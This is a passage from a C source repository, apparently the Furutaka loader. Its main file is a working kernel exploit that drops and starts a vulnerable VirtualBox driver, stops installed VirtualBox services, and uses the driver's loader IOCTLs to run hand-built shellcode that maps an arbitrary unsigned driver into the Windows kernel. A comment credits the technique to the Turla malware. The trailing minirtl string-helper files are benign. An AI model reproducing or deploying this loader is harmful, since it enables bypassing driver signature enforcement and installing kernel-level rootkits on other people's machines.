136 | nextthunk = (PULONG_PTR)(Image + ITable->FirstThunk);
137 | if ((pthunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) == 0) {
138 | pname = (PIMAGE_IMPORT_BY_NAME)((PCHAR)Image + pthunk->u1.AddressOfData);
139 | nextthunk[i] = TDLGetProcAddress(KernelBase, KernelImage, pname->Name);
140 | }
141 | else
142 | nextthunk[i] = TDLGetProcAddress(KernelBase, KernelImage, (LPCSTR)(pthunk->u1.Ordinal & 0xffff));
143 | }
144 | }
145 |
146 | /*
147 | * TDLExploit
148 | *
149 | * Purpose:
150 | *
151 | * VirtualBox exploit used by WinNT/Turla.
152 | *
153 | */
154 | void TDLExploit(
155 | _In_ LPVOID Shellcode,
156 | _In_ ULONG CodeSize,
157 | _In_ ULONG DataOffset
158 | )
159 | {
160 | SUPCOOKIE Cookie;
161 | SUPLDROPEN OpenLdr;
162 | DWORD bytesIO = 0;
163 | RTR0PTR ImageBase = NULL;
164 | ULONG_PTR paramOut;
165 | PSUPLDRLOAD pLoadTask = NULL;
166 | SUPSETVMFORFAST vmFast;
167 | SUPLDRFREE ldrFree;
168 | SIZE_T memIO;
169 | WCHAR text[256];
170 |
171 | while (g_hVBox != INVALID_HANDLE_VALUE) {
172 | RtlSecureZeroMemory(&Cookie, sizeof(SUPCOOKIE));
173 | Cookie.Hdr.u32Cookie = SUPCOOKIE_INITIAL_COOKIE;
174 | Cookie.Hdr.cbIn = SUP_IOCTL_COOKIE_SIZE_IN;
175 | Cookie.Hdr.cbOut = SUP_IOCTL_COOKIE_SIZE_OUT;
176 | Cookie.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
177 | Cookie.Hdr.rc = 0;
178 | Cookie.u.In.u32ReqVersion = 0;
179 | Cookie.u.In.u32MinVersion = 0x00070002;
180 | RtlCopyMemory(Cookie.u.In.szMagic, SUPCOOKIE_MAGIC, sizeof(SUPCOOKIE_MAGIC));
181 |
182 | if (!DeviceIoControl(g_hVBox, SUP_IOCTL_COOKIE,
183 | &Cookie, SUP_IOCTL_COOKIE_SIZE_IN, &Cookie,
184 | SUP_IOCTL_COOKIE_SIZE_OUT, &bytesIO, NULL))
185 | {
186 | cuiPrintText(TEXT("Ldr: SUP_IOCTL_COOKIE call failed"), TRUE);
187 | break;
188 | }
189 |
190 | RtlSecureZeroMemory(&OpenLdr, sizeof(OpenLdr));
191 | OpenLdr.Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
192 | OpenLdr.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
193 | OpenLdr.Hdr.cbIn = SUP_IOCTL_LDR_OPEN_SIZE_IN;
194 | OpenLdr.Hdr.cbOut = SUP_IOCTL_LDR_OPEN_SIZE_OUT;
195 | OpenLdr.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
196 | OpenLdr.Hdr.rc = 0;
197 | OpenLdr.u.In.cbImage = CodeSize;
198 | RtlCopyMemory(OpenLdr.u.In.szName, supImageName, sizeof(supImageName));
199 |
200 | if (!DeviceIoControl(g_hVBox, SUP_IOCTL_LDR_OPEN, &OpenLdr,
201 | SUP_IOCTL_LDR_OPEN_SIZE_IN, &OpenLdr,
202 | SUP_IOCTL_LDR_OPEN_SIZE_OUT, &bytesIO, NULL))
203 | {
204 | cuiPrintText(TEXT("Ldr: SUP_IOCTL_LDR_OPEN call failed"), TRUE);
205 | break;
206 | }
207 | else {
208 | _strcpy(text, TEXT("Ldr: OpenLdr.u.Out.pvImageBase = 0x"));
209 | u64tohex((ULONG_PTR)OpenLdr.u.Out.pvImageBase, _strend(text));
210 | cuiPrintText(text, TRUE);
211 | }
212 |
213 | ImageBase = OpenLdr.u.Out.pvImageBase;
214 |
215 | memIO = PAGE_SIZE + CodeSize;
216 | NtAllocateVirtualMemory(NtCurrentProcess(), (PVOID*)&pLoadTask, 0, &memIO,
217 | MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
218 |
219 | if (pLoadTask == NULL)
220 | break;
221 |
222 | pLoadTask->Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
223 | pLoadTask->Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
224 | pLoadTask->Hdr.cbIn =
225 | (ULONG_PTR)(&((PSUPLDRLOAD)0)->u.In.achImage) + CodeSize;
226 | pLoadTask->Hdr.cbOut = SUP_IOCTL_LDR_LOAD_SIZE_OUT;
227 | pLoadTask->Hdr.fFlags = SUPREQHDR_FLAGS_MAGIC;
228 | pLoadTask->Hdr.rc = 0;
229 | pLoadTask->u.In.eEPType = SUPLDRLOADEP_VMMR0;
230 | pLoadTask->u.In.pvImageBase = ImageBase;
231 | pLoadTask->u.In.EP.VMMR0.pvVMMR0 = (RTR0PTR)supImageHandle;
232 | pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryEx = ImageBase;
233 | pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryFast = ImageBase;
234 | pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryInt = ImageBase;
235 | RtlCopyMemory(pLoadTask->u.In.achImage, Shellcode, CodeSize);
236 | pLoadTask->u.In.cbImage = CodeSize;
237 |
238 | if (!DeviceIoControl(g_hVBox, SUP_IOCTL_LDR_LOAD,
239 | pLoadTask, pLoadTask->Hdr.cbIn,
240 | pLoadTask, SUP_IOCTL_LDR_LOAD_SIZE_OUT, &bytesIO, NULL))
241 | {
242 | cuiPrintText(TEXT("Ldr: SUP_IOCTL_LDR_LOAD call failed"), TRUE);
243 | break;
244 | }
245 | else {
246 | _strcpy(text, TEXT("Ldr: SUP_IOCTL_LDR_LOAD, success\r\n\tShellcode mapped at 0x"));
247 | u64tohex((ULONG_PTR)ImageBase, _strend(text));
248 | _strcat(text, TEXT(", size = 0x"));
249 | ultohex(CodeSize, _strend(text));
250 |
251 | _strcat(text, TEXT("\r\n\tDriver image mapped at 0x"));
252 | u64tohex((ULONG_PTR)ImageBase + DataOffset, _strend(text));
253 | cuiPrintText(text, TRUE);
254 | }
255 |
256 | RtlSecureZeroMemory(&vmFast, sizeof(vmFast));
257 | vmFast.Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
258 | vmFast.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
259 | vmFast.Hdr.rc = 0;
260 | vmFast.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
261 | vmFast.Hdr.cbIn = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN;
262 | vmFast.Hdr.cbOut = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT;
263 | vmFast.u.In.pVMR0 = (LPVOID)supImageHandle;
264 |
265 | if (!DeviceIoControl(g_hVBox, SUP_IOCTL_SET_VM_FOR_FAST,
266 | &vmFast, SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN,
267 | &vmFast, SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT, &bytesIO, NULL))
268 | {
269 | cuiPrintText(TEXT("Ldr: SUP_IOCTL_SET_VM_FOR_FAST call failed"), TRUE);
270 | break;
271 | }
272 | else {
273 | cuiPrintText(TEXT("Ldr: SUP_IOCTL_SET_VM_FOR_FAST call complete"), TRUE);
274 | }
275 |
276 | cuiPrintText(TEXT("Ldr: SUP_IOCTL_FAST_DO_NOP"), TRUE);
277 |
278 | paramOut = 0;
279 | DeviceIoControl(g_hVBox, SUP_IOCTL_FAST_DO_NOP,
280 | NULL, 0,
281 | ¶mOut, sizeof(paramOut), &bytesIO, NULL);
282 |
283 | cuiPrintText(TEXT("Ldr: SUP_IOCTL_LDR_FREE"), TRUE);
284 |
285 | RtlSecureZeroMemory(&ldrFree, sizeof(ldrFree));
286 | ldrFree.Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
287 | ldrFree.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
288 | ldrFree.Hdr.cbIn = SUP_IOCTL_LDR_FREE_SIZE_IN;
289 | ldrFree.Hdr.cbOut = SUP_IOCTL_LDR_FREE_SIZE_OUT;
290 | ldrFree.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
291 | ldrFree.Hdr.rc = 0;
292 | ldrFree.u.In.pvImageBase = ImageBase;
293 |
294 | DeviceIoControl(g_hVBox, SUP_IOCTL_LDR_FREE,
295 | &ldrFree, SUP_IOCTL_LDR_FREE_SIZE_IN,
296 | &ldrFree, SUP_IOCTL_LDR_FREE_SIZE_OUT, &bytesIO, NULL);
297 |
298 | break;
299 | }
300 |
301 | if (pLoadTask != NULL) {
302 | memIO = 0;
303 | NtFreeVirtualMemory(NtCurrentProcess(), (PVOID*)&pLoadTask, &memIO, MEM_RELEASE);
304 | }
305 |
306 | if (g_hVBox != INVALID_HANDLE_VALUE) {
307 | CloseHandle(g_hVBox);
308 | g_hVBox = INVALID_HANDLE_VALUE;
309 | }
310 | }
311 |
312 | /*
313 | * TDLMapDriver
314 | *
315 | * Purpose:
316 | *
317 | * Build shellcode and execute exploit.
318 | *
319 | */
320 | UINT TDLMapDriver(
321 | _In_ LPWSTR lpDriverFullName
322 | )
323 | {
324 | UINT result = (UINT)-1;
325 | ULONG DllCharacteristics = IMAGE_FILE_EXECUTABLE_IMAGE;
326 | ULONG isz, prologueSize, dataOffset;
327 | SIZE_T memIO;
328 | ULONG_PTR KernelBase, KernelImage = 0;
329 | ULONG_PTR xExAllocatePoolWithTag = 0, xPsCreateSystemThread = 0, xZwClose = 0;
330 | HMODULE Image = NULL;
331 | PIMAGE_NT_HEADERS FileHeader;
332 | PBYTE Buffer = NULL;
333 | UNICODE_STRING uStr;
334 | ANSI_STRING routineName;
335 | NTSTATUS status;
336 | WCHAR text[256];
337 |
338 | KernelBase = supGetNtOsBase();
339 | while (KernelBase != 0) {
340 |
341 | _strcpy(text, TEXT("Ldr: Kernel base = 0x"));
342 | u64tohex(KernelBase, _strend(text));
343 | cuiPrintText(text, TRUE);
344 |
345 | RtlSecureZeroMemory(&uStr, sizeof(uStr));
346 | RtlInitUnicodeString(&uStr, lpDriverFullName);
347 | status = LdrLoadDll(NULL, &DllCharacteristics, &uStr, (PVOID*)&Image);
348 | if ((!NT_SUCCESS(status)) || (Image == NULL)) {
349 | cuiPrintText(TEXT("Ldr: Error while loading input driver file"), TRUE);
350 | break;
351 | }
352 | else {
353 | _strcpy(text, TEXT("Ldr: Input driver file loaded at 0x"));
354 | u64tohex((ULONG_PTR)Image, _strend(text));
355 | cuiPrintText(text, TRUE);
356 | }
357 |
358 | FileHeader = RtlImageNtHeader(Image);
359 | if (FileHeader == NULL)
360 | break;
361 |
362 | isz = FileHeader->OptionalHeader.SizeOfImage;
363 |
364 | cuiPrintText(TEXT("Ldr: Loading ntoskrnl.exe"), TRUE);
365 |
366 | RtlInitUnicodeString(&uStr, L"ntoskrnl.exe");
367 | status = LdrLoadDll(NULL, NULL, &uStr, (PVOID*)&KernelImage);
368 | if ((!NT_SUCCESS(status)) || (KernelImage == 0)) {
369 | cuiPrintText(TEXT("Ldr: Error while loading ntoskrnl.exe"), TRUE);
370 | break;
371 | }
372 | else {
373 | _strcpy(text, TEXT("Ldr: ntoskrnl.exe loaded at 0x"));
374 | u64tohex(KernelImage, _strend(text));
375 | cuiPrintText(text, TRUE);
376 | }
377 |
378 | RtlInitString(&routineName, "ExAllocatePoolWithTag");
379 | status = LdrGetProcedureAddress((PVOID)KernelImage, &routineName, 0, (PVOID*)&xExAllocatePoolWithTag);
380 | if ((!NT_SUCCESS(status)) || (xExAllocatePoolWithTag == 0)) {
381 | cuiPrintText(TEXT("Ldr: Error, ExAllocatePoolWithTag address not found"), TRUE);
382 | break;
383 | }
384 | else {
385 | _strcpy(text, TEXT("Ldr: ExAllocatePoolWithTag 0x"));
386 | u64tohex(KernelBase + (xExAllocatePoolWithTag - KernelImage), _strend(text));
387 | cuiPrintText(text, TRUE);
388 | }
389 |
390 | if (g_NtBuildNumber < 15063) {
391 | RtlInitString(&routineName, "PsCreateSystemThread");
392 | status = LdrGetProcedureAddress((PVOID)KernelImage, &routineName, 0, (PVOID*)&xPsCreateSystemThread);
393 | if ((!NT_SUCCESS(status)) || (xPsCreateSystemThread == 0)) {
394 | cuiPrintText(TEXT("Ldr: Error, PsCreateSystemThread address not found"), TRUE);
395 | break;
396 | }
397 | else {
398 | _strcpy(text, TEXT("Ldr: PsCreateSystemThread 0x"));
399 | u64tohex(KernelBase + (xPsCreateSystemThread - KernelImage), _strend(text));
400 | cuiPrintText(text, TRUE);
401 | }
402 |
403 | RtlInitString(&routineName, "ZwClose");
404 | status = LdrGetProcedureAddress((PVOID)KernelImage, &routineName, 0, (PVOID*)&xZwClose);
405 | if ((!NT_SUCCESS(status)) || (xZwClose == 0)) {
406 | cuiPrintText(TEXT("Ldr: Error, ZwClose address not found"), TRUE);
407 | break;
408 | }
409 | else {
410 | _strcpy(text, TEXT("Ldr: ZwClose 0x"));
411 | u64tohex(KernelBase + (xZwClose - KernelImage), _strend(text));
412 | cuiPrintText(text, TRUE);
413 | }
414 | }
415 |
416 | memIO = isz + PAGE_SIZE;
417 | NtAllocateVirtualMemory(NtCurrentProcess(), (PVOID*)&Buffer, 0, &memIO,
418 | MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
419 | if (Buffer == NULL) {
420 | cuiPrintText(TEXT("Ldr: Error, unable to allocate shellcode"), TRUE);
421 | break;
422 | }
423 | else {
424 | _strcpy(text, TEXT("Ldr: Shellcode allocated at 0x"));
425 | u64tohex((ULONG_PTR)Buffer, _strend(text));
426 | cuiPrintText(text, TRUE);
427 | }
428 |
429 | // mov rcx, ExAllocatePoolWithTag
430 | // mov rdx, PsCreateSystemThread
431 | // mov r8, ZwClose
432 |
433 | Buffer[0x00] = 0x48; // mov rcx, xxxxx
434 | Buffer[0x01] = 0xb9;
435 | *((PULONG_PTR)&Buffer[2]) =
436 | KernelBase + (xExAllocatePoolWithTag - KernelImage);
437 |
438 | if (g_NtBuildNumber < 15063) {
439 | Buffer[0x0a] = 0x48; // mov rdx, xxxxx
440 | Buffer[0x0b] = 0xba;
441 | *((PULONG_PTR)&Buffer[0x0c]) =
442 | KernelBase + (xPsCreateSystemThread - KernelImage);
443 | Buffer[0x14] = 0x49; //mov r8, xxxxx
444 | Buffer[0x15] = 0xb8;
445 | *((PULONG_PTR)&Buffer[0x16]) =
446 | KernelBase + (xZwClose - KernelImage);
447 |
448 | prologueSize = 0x1e;
449 | }
450 | else {
451 | prologueSize = 0x0a;
452 | }
453 |
454 | dataOffset = prologueSize + MAX_SHELLCODE_LENGTH;
455 |
456 | if (g_NtBuildNumber < 15063) {
457 | RtlCopyMemory(Buffer + prologueSize,
458 | TDLBootstrapLoader_code, sizeof(TDLBootstrapLoader_code));
459 | cuiPrintText(TEXT("Ldr: Default bootstrap shellcode selected"), TRUE);
460 | }
461 | else {
462 | RtlCopyMemory(Buffer + prologueSize,
463 | TDLBootstrapLoader_code_w10rs2, sizeof(TDLBootstrapLoader_code_w10rs2));
464 | cuiPrintText(TEXT("Ldr: Windows 10 RS2+ bootstrap shellcode selected"), TRUE);
465 | }
466 |
467 | RtlCopyMemory(Buffer + dataOffset, Image, isz);
468 |
469 | cuiPrintText(TEXT("Ldr: Resolving kernel import"), TRUE);
470 | TDLResolveKernelImport((ULONG_PTR)Buffer + dataOffset, KernelImage, KernelBase);
471 |
472 | cuiPrintText(TEXT("Ldr: Executing exploit"), TRUE);
473 | TDLExploit(Buffer, isz + PAGE_SIZE, dataOffset);
474 | result = 0;
475 | break;
476 | }
477 |
478 | if (Buffer != NULL) {
479 | memIO = 0;
480 | NtFreeVirtualMemory(NtCurrentProcess(), (PVOID*)&Buffer, &memIO, MEM_RELEASE);
481 | }
482 |
483 | return result;
484 | }
485 |
486 | #define VBOXNETADP_SVC L"VBoxNetAdp"
487 | #define VBOXNETLWF_SVC L"VBoxNetLwf"
488 | #define VBOXUSBMON_SVC L"VBoxUSBMon"
489 |
490 | /*
491 | * TDLStartVulnerableDriver
492 | *
493 | * Purpose:
494 | *
495 | * Load vulnerable virtualbox driver and return handle for it device.
496 | *
497 | */
498 | HANDLE TDLStartVulnerableDriver(
499 | VOID
500 | )
501 | {
502 | PBYTE DrvBuffer;
503 | ULONG DataSize = 0, bytesIO;
504 | HANDLE hDevice = INVALID_HANDLE_VALUE;
505 | SC_HANDLE schSCManager = NULL;
506 | LPWSTR msg;
507 |
508 | WCHAR szDriverFileName[MAX_PATH * 2];
509 |
510 | DrvBuffer = supQueryResourceData(1, g_hInstance, &DataSize);
511 | if (DrvBuffer == NULL)
512 | return INVALID_HANDLE_VALUE;
513 |
514 | do {
515 |
516 | //lets give scm nice looking path so this piece of shit code from early 90x wont fuckup somewhere.
517 | RtlSecureZeroMemory(szDriverFileName, sizeof(szDriverFileName));
518 | if (!GetSystemDirectory(szDriverFileName, MAX_PATH)) {
519 | cuiPrintText(TEXT("Ldr: Error loading VirtualBox driver, GetSystemDirectory failed"), TRUE);
520 | break;
521 | }
522 |
523 | schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
524 | if (schSCManager == NULL) {
525 | cuiPrintText(TEXT("Ldr: Error opening SCM database"), TRUE);
526 | break;
527 | }
528 |
529 | //
530 | // Lookup main vbox driver device, if found, try to unload all possible, unload order is sensitive
531 | //
532 | if (supIsObjectExists(L"\\Device", VBoxDrvSvc)) {
533 |
534 | cuiPrintText(TEXT("Ldr: Active VirtualBox found in system, attempt stop (unload) it drivers"), TRUE);
535 |
536 | if (!supStopVBoxService(schSCManager, VBOXUSBMON_SVC)) {
537 | cuiPrintText(TEXT("SCM: Error stopping VBoxUSBMon, cannot continue"), TRUE);
538 | break;
539 | }
540 |
541 | if (!supStopVBoxService(schSCManager, VBOXNETADP_SVC)) {
542 | cuiPrintText(TEXT("SCM: Error stopping VBoxNetAdp, cannot continue"), TRUE);
543 | break;
544 | }
545 |
546 | if (!supStopVBoxService(schSCManager, VBOXNETLWF_SVC)) {
547 | cuiPrintText(TEXT("SCM: Error stopping VBoxNetLwf, cannot continue"), TRUE);
548 | break;
549 | }
550 |
551 | Sleep(1000);
552 |
553 | if (!supStopVBoxService(schSCManager, VBoxDrvSvc)) {
554 | cuiPrintText(TEXT("SCM: Error stopping VBoxDrv, cannot continue"), TRUE);
555 | break;
556 | }
557 |
558 | }
559 |
560 | //
561 | // If vbox installed backup it driver, do it before dropping our
562 | // Ignore error if file not found
563 | //
564 | if (g_VBoxInstalled) {
565 | if (supBackupVBoxDrv(FALSE) == FALSE) {
566 | cuiPrintText(TEXT("Ldr: Error while doing VirtualBox driver backup"), TRUE);
567 | }
568 | else {
569 | cuiPrintText(TEXT("Ldr: VirtualBox driver backup done"), TRUE);
570 | }
571 | }
572 |
573 | //drop our vboxdrv version
574 | _strcat(szDriverFileName, TEXT("\\drivers\\VBoxDrv.sys"));
575 | bytesIO = (ULONG)supWriteBufferToFile(szDriverFileName, DrvBuffer,
576 | (SIZE_T)DataSize, FALSE, FALSE);
577 |
578 | if (bytesIO != DataSize) {
579 | cuiPrintText(TEXT("Ldr: Error writing VirtualBox on disk"), TRUE);
580 | break;
581 | }
582 |
583 | //if vbox not found in system install driver in scm
584 | if (g_VBoxInstalled == FALSE) {
585 | scmInstallDriver(schSCManager, VBoxDrvSvc, szDriverFileName);
586 | }
587 |
588 | //run driver
589 | if (scmStartDriver(schSCManager, VBoxDrvSvc) != FALSE) {
590 |
591 | if (scmOpenDevice(VBoxDrvSvc, &hDevice))
592 | msg = TEXT("SCM: Vulnerable driver loaded and opened");
593 | else
594 | msg = TEXT("SCM: Driver device open failure");
595 |
596 | }
597 | else {
598 | msg = TEXT("SCM: Vulnerable driver load failure");
599 | }
600 |
601 | cuiPrintText(msg, TRUE);
602 |
603 | } while (FALSE);
604 |
605 | //post cleanup
606 | if (schSCManager != NULL) {
607 | CloseServiceHandle(schSCManager);
608 | }
609 | return hDevice;
610 | }
611 |
612 | /*
613 | * TDLStopVulnerableDriver
614 | *
615 | * Purpose:
616 | *
617 | * Unload previously loaded vulnerable driver. If VirtualBox installed - restore original driver.
618 | *
619 | */
620 | void TDLStopVulnerableDriver(
621 | VOID
622 | )
623 | {
624 | SC_HANDLE schSCManager;
625 | LPWSTR msg;
626 | UNICODE_STRING uStr;
627 | OBJECT_ATTRIBUTES ObjectAttributes;
628 |
629 | cuiPrintText(TEXT("SCM: Unloading vulnerable driver"), TRUE);
630 |
631 | if (g_hVBox != INVALID_HANDLE_VALUE)
632 | CloseHandle(g_hVBox);
633 |
634 | schSCManager = OpenSCManager(NULL,
635 | NULL,
636 | SC_MANAGER_ALL_ACCESS
637 | );
638 |
639 | if (schSCManager == NULL) {
640 | cuiPrintText(TEXT("SCM: Cannot open database, unable unload driver"), TRUE);
641 | return;
642 | }
643 |
644 | //stop driver in any case
645 | if (scmStopDriver(schSCManager, VBoxDrvSvc))
646 | msg = TEXT("SCM: Vulnerable driver successfully unloaded");
647 | else
648 | msg = TEXT("SCM: Unexpected error while unloading driver");
649 |
650 | cuiPrintText(msg, TRUE);
651 |
652 | //if VBox not installed - remove from scm database and delete file
653 | if (g_VBoxInstalled == FALSE) {
654 |
655 | if (scmRemoveDriver(schSCManager, VBoxDrvSvc))
656 | msg = TEXT("SCM: Driver entry removed from registry");
657 | else
658 | msg = TEXT("SCM: Error removing driver entry from registry");
659 |
660 | cuiPrintText(msg, TRUE);
661 |
662 | uStr.Buffer = NULL;
663 | uStr.Length = 0;
664 | uStr.MaximumLength = 0;
665 | RtlInitUnicodeString(&uStr, L"\\??\\globalroot\\systemroot\\system32\\drivers\\VBoxDrv.sys");
666 | InitializeObjectAttributes(&ObjectAttributes, &uStr, OBJ_CASE_INSENSITIVE, NULL, NULL);
667 | if (NT_SUCCESS(NtDeleteFile(&ObjectAttributes)))
668 | msg = TEXT("Ldr: Driver file removed");
669 | else
670 | msg = TEXT("Ldr: Error removing driver file");
671 |
672 | cuiPrintText(msg, TRUE);
673 |
674 | }
675 | else {
676 | //VBox software present, restore original driver and exit
677 | if (supBackupVBoxDrv(TRUE))
678 | msg = TEXT("Ldr: Original VirtualBox driver restored from backup");
679 | else
680 | msg = TEXT("Ldr: Unexpected error while restoring original driver from backup");
681 |
682 | cuiPrintText(msg, TRUE);
683 | }
684 | CloseServiceHandle(schSCManager);
685 | }
686 |
687 | /*
688 | * TDLProcessCommandLine
689 | *
690 | * Purpose:
691 | *
692 | * Extract target driver from command line and continue with it load.
693 | *
694 | */
695 | UINT TDLProcessCommandLine(
696 | _In_ LPWSTR lpCommandLine
697 | )
698 | {
699 | UINT retVal = (UINT)-1;
700 | WCHAR szInputFile[MAX_PATH + 1];
701 | ULONG c;
702 |
703 | //input file
704 | c = 0;
705 | RtlSecureZeroMemory(szInputFile, sizeof(szInputFile));
706 | GetCommandLineParam(lpCommandLine, 1, (LPWSTR)&szInputFile, MAX_PATH, &c);
707 | if (c == 0) {
708 | cuiPrintText(T_LOADERUSAGE, FALSE);
709 | return retVal;
710 | }
711 |
712 | if (PathFileExists(szInputFile)) {
713 | g_hVBox = TDLStartVulnerableDriver();
714 | if (g_hVBox != INVALID_HANDLE_VALUE) {
715 | retVal = TDLMapDriver(szInputFile);
716 | TDLStopVulnerableDriver();
717 | }
718 | }
719 | else {
720 | cuiPrintText(TEXT("Ldr: Input file not found"), FALSE);
721 | }
722 | return retVal;
723 | }
724 |
725 | /*
726 | * TDLMain
727 | *
728 | * Purpose:
729 | *
730 | * Loader main.
731 | *
732 | */
733 | void TDLMain()
734 | {
735 |
736 | UINT uResult = 0;
737 | LONG x;
738 | OSVERSIONINFO osv;
739 | WCHAR text[256];
740 |
741 | do {
742 |
743 | g_hInstance = GetModuleHandle(NULL);
744 |
745 | cuiInitialize(FALSE, NULL);
746 |
747 | SetConsoleTitle(T_LOADERTITLE);
748 |
749 | cuiPrintText(T_LOADERINTRO, TRUE);
750 |
751 | x = InterlockedIncrement((PLONG)&g_lApplicationInstances);
752 | if (x > 1) {
753 | cuiPrintText(T_LOADERRUN, FALSE);
754 | uResult = (UINT)-1;
755 | break;
756 | }
757 |
758 | //check version first
759 | RtlSecureZeroMemory(&osv, sizeof(osv));
760 | osv.dwOSVersionInfoSize = sizeof(osv);
761 | RtlGetVersion((PRTL_OSVERSIONINFOW)&osv);
762 | if (osv.dwMajorVersion < 6) {
763 | cuiPrintText(T_LOADERUNSUP, FALSE);
764 | uResult = (UINT)-1;
765 | break;
766 | }
767 |
768 | g_NtBuildNumber = osv.dwBuildNumber;
769 |
770 | _strcpy(text, TEXT("Ldr: Windows v"));
771 | ultostr(osv.dwMajorVersion, _strend(text));
772 | _strcat(text, TEXT("."));
773 | ultostr(osv.dwMinorVersion, _strend(text));
774 | _strcat(text, TEXT(" build "));
775 | ultostr(osv.dwBuildNumber, _strend(text));
776 | cuiPrintText(text, TRUE);
777 |
778 | //
779 | // If VirtualBox installed on the same machine warn user,
780 | // however this is unnecessary can lead to any conflicts.
781 | //
782 | g_VBoxInstalled = TDLVBoxInstalled();
783 | if (g_VBoxInstalled) {
784 | cuiPrintText(T_VBOXDETECT, TRUE);
785 | }
786 |
787 | uResult = TDLProcessCommandLine(GetCommandLine());
788 |
789 | } while (FALSE);
790 |
791 | InterlockedDecrement((PLONG)&g_lApplicationInstances);
792 | ExitProcess(uResult);
793 | }
794 |
--------------------------------------------------------------------------------
/Source/Furutaka/minirtl/_strcat.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | char *_strcat_a(char *dest, const char *src)
4 | {
5 | if ( (dest==0) || (src==0) )
6 | return dest;
7 |
8 | while ( *dest!=0 )
9 | dest++;
10 |
11 | while ( *src!=0 ) {
12 | *dest = *src;
13 | dest++;
14 | src++;
15 | }
16 |
17 | *dest = 0;
18 | return dest;
19 | }
20 |
21 | wchar_t *_strcat_w(wchar_t *dest, const wchar_t *src)
22 | {
23 | if ( (dest==0) || (src==0) )
24 | return dest;
25 |
26 | while ( *dest!=0 )
27 | dest++;
28 |
29 | while ( *src!=0 ) {
30 | *dest = *src;
31 | dest++;
32 | src++;
33 | }
34 |
35 | *dest = 0;
36 | return dest;
37 | }
38 |
--------------------------------------------------------------------------------
/Source/Furutaka/minirtl/_strcmpi.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | int _strcmpi_a(const char *s1, const char *s2)
4 | {
5 | char c1, c2;
6 |
7 | if ( s1==s2 )
8 | return 0;
9 |
10 | if ( s1==0 )
11 | return -1;
12 |
13 | if ( s2==0 )
14 | return 1;
15 |
16 | do {
17 | c1 = locase_a(*s1);
18 | c2 = locase_a(*s2);
19 | s1++;
20 | s2++;
21 | } while ( (c1 != 0) && (c1 == c2) );
22 |
23 | return (int)(c1 - c2);
24 | }
25 |
26 | int _strcmpi_w(const wchar_t *s1, const wchar_t *s2)
27 | {
28 | wchar_t c1, c2;
29 |
30 | if ( s1==s2 )
31 | return 0;
32 |
33 | if ( s1==0 )
34 | return -1;
35 |
36 | if ( s2==0 )
37 | return 1;
38 |
39 | do {
40 | c1 = locase_w(*s1);
41 | c2 = locase_w(*s2);
42 | s1++;
43 | s2++;
44 | } while ( (c1 != 0) && (c1 == c2) );
45 |
46 | return (int)(c1 - c2);
47 | }
48 |
--------------------------------------------------------------------------------
/Source/Furutaka/minirtl/_strcpy.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | char *_strcpy_a(char *dest, const char *src)
4 | {
5 | char *p;
6 |
7 | if ( (dest==0) || (src==0) )
8 | return dest;
9 |
10 | if (dest == src)
11 | return dest;
12 |
13 | p = dest;
14 | while ( *src!=0 ) {
15 | *p = *src;
16 | p++;
17 | src++;
18 | }
19 |
20 | *p = 0;
21 | return dest;
22 | }
23 |
24 | wchar_t *_strcpy_w(wchar_t *dest, const wchar_t *src)
25 | {
26 | wchar_t *p;
27 |
28 | if ((dest == 0) || (src == 0))
29 | return dest;
30 |
31 | if (dest == src)
32 | return dest;
33 |
34 | p = dest;
35 | while ( *src!=0 ) {
36 | *p = *src;
37 | p++;
38 | src++;
39 | }
40 |
41 | *p = 0;
42 | return dest;
43 | }
44 |
--------------------------------------------------------------------------------
/Source/Furutaka/minirtl/_strend.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | char *_strend_a(const char *s)
4 | {
5 | if ( s==0 )
6 | return 0;
7 |
8 | while ( *s!=0 )
9 | s++;
10 |
11 | return (char *)s;
12 | }
13 |
14 | wchar_t *_strend_w(const wchar_t *s)
15 | {
16 | if ( s==0 )
17 | return 0;
18 |
19 | while ( *s!=0 )
20 | s++;
21 |
22 | return (wchar_t *)s;
23 | }
24 |
--------------------------------------------------------------------------------
/Source/Furutaka/minirtl/_strlen.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | size_t _strlen_a(const char *s)
4 | {
5 | char *s0 = (char *)s;
6 |
7 | if ( s==0 )
8 | return 0;
9 |
10 | while ( *s!=0 )
11 | s++;
12 |
13 | return (s-s0);
14 | }
15 |
16 | size_t _strlen_w(const wchar_t *s)
17 | {
18 | wchar_t *s0 = (wchar_t *)s;
19 |
20 | if ( s==0 )
21 | return 0;
22 |
23 | while ( *s!=0 )
24 | s++;
25 |
26 | return (s-s0);
27 | }
28 |
--------------------------------------------------------------------------------
/Source/Furutaka/minirtl/_strncmpi.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | int _strncmpi_a(const char *s1, const char *s2, size_t cchars)
4 | {
5 | char c1, c2;
6 |
7 | if ( s1==s2 )
8 | return 0;
9 |
10 | if ( s1==0 )
11 | return -1;
12 |
13 | if ( s2==0 )
14 | return 1;
15 |
16 | if ( cchars==0 )
17 | return 0;
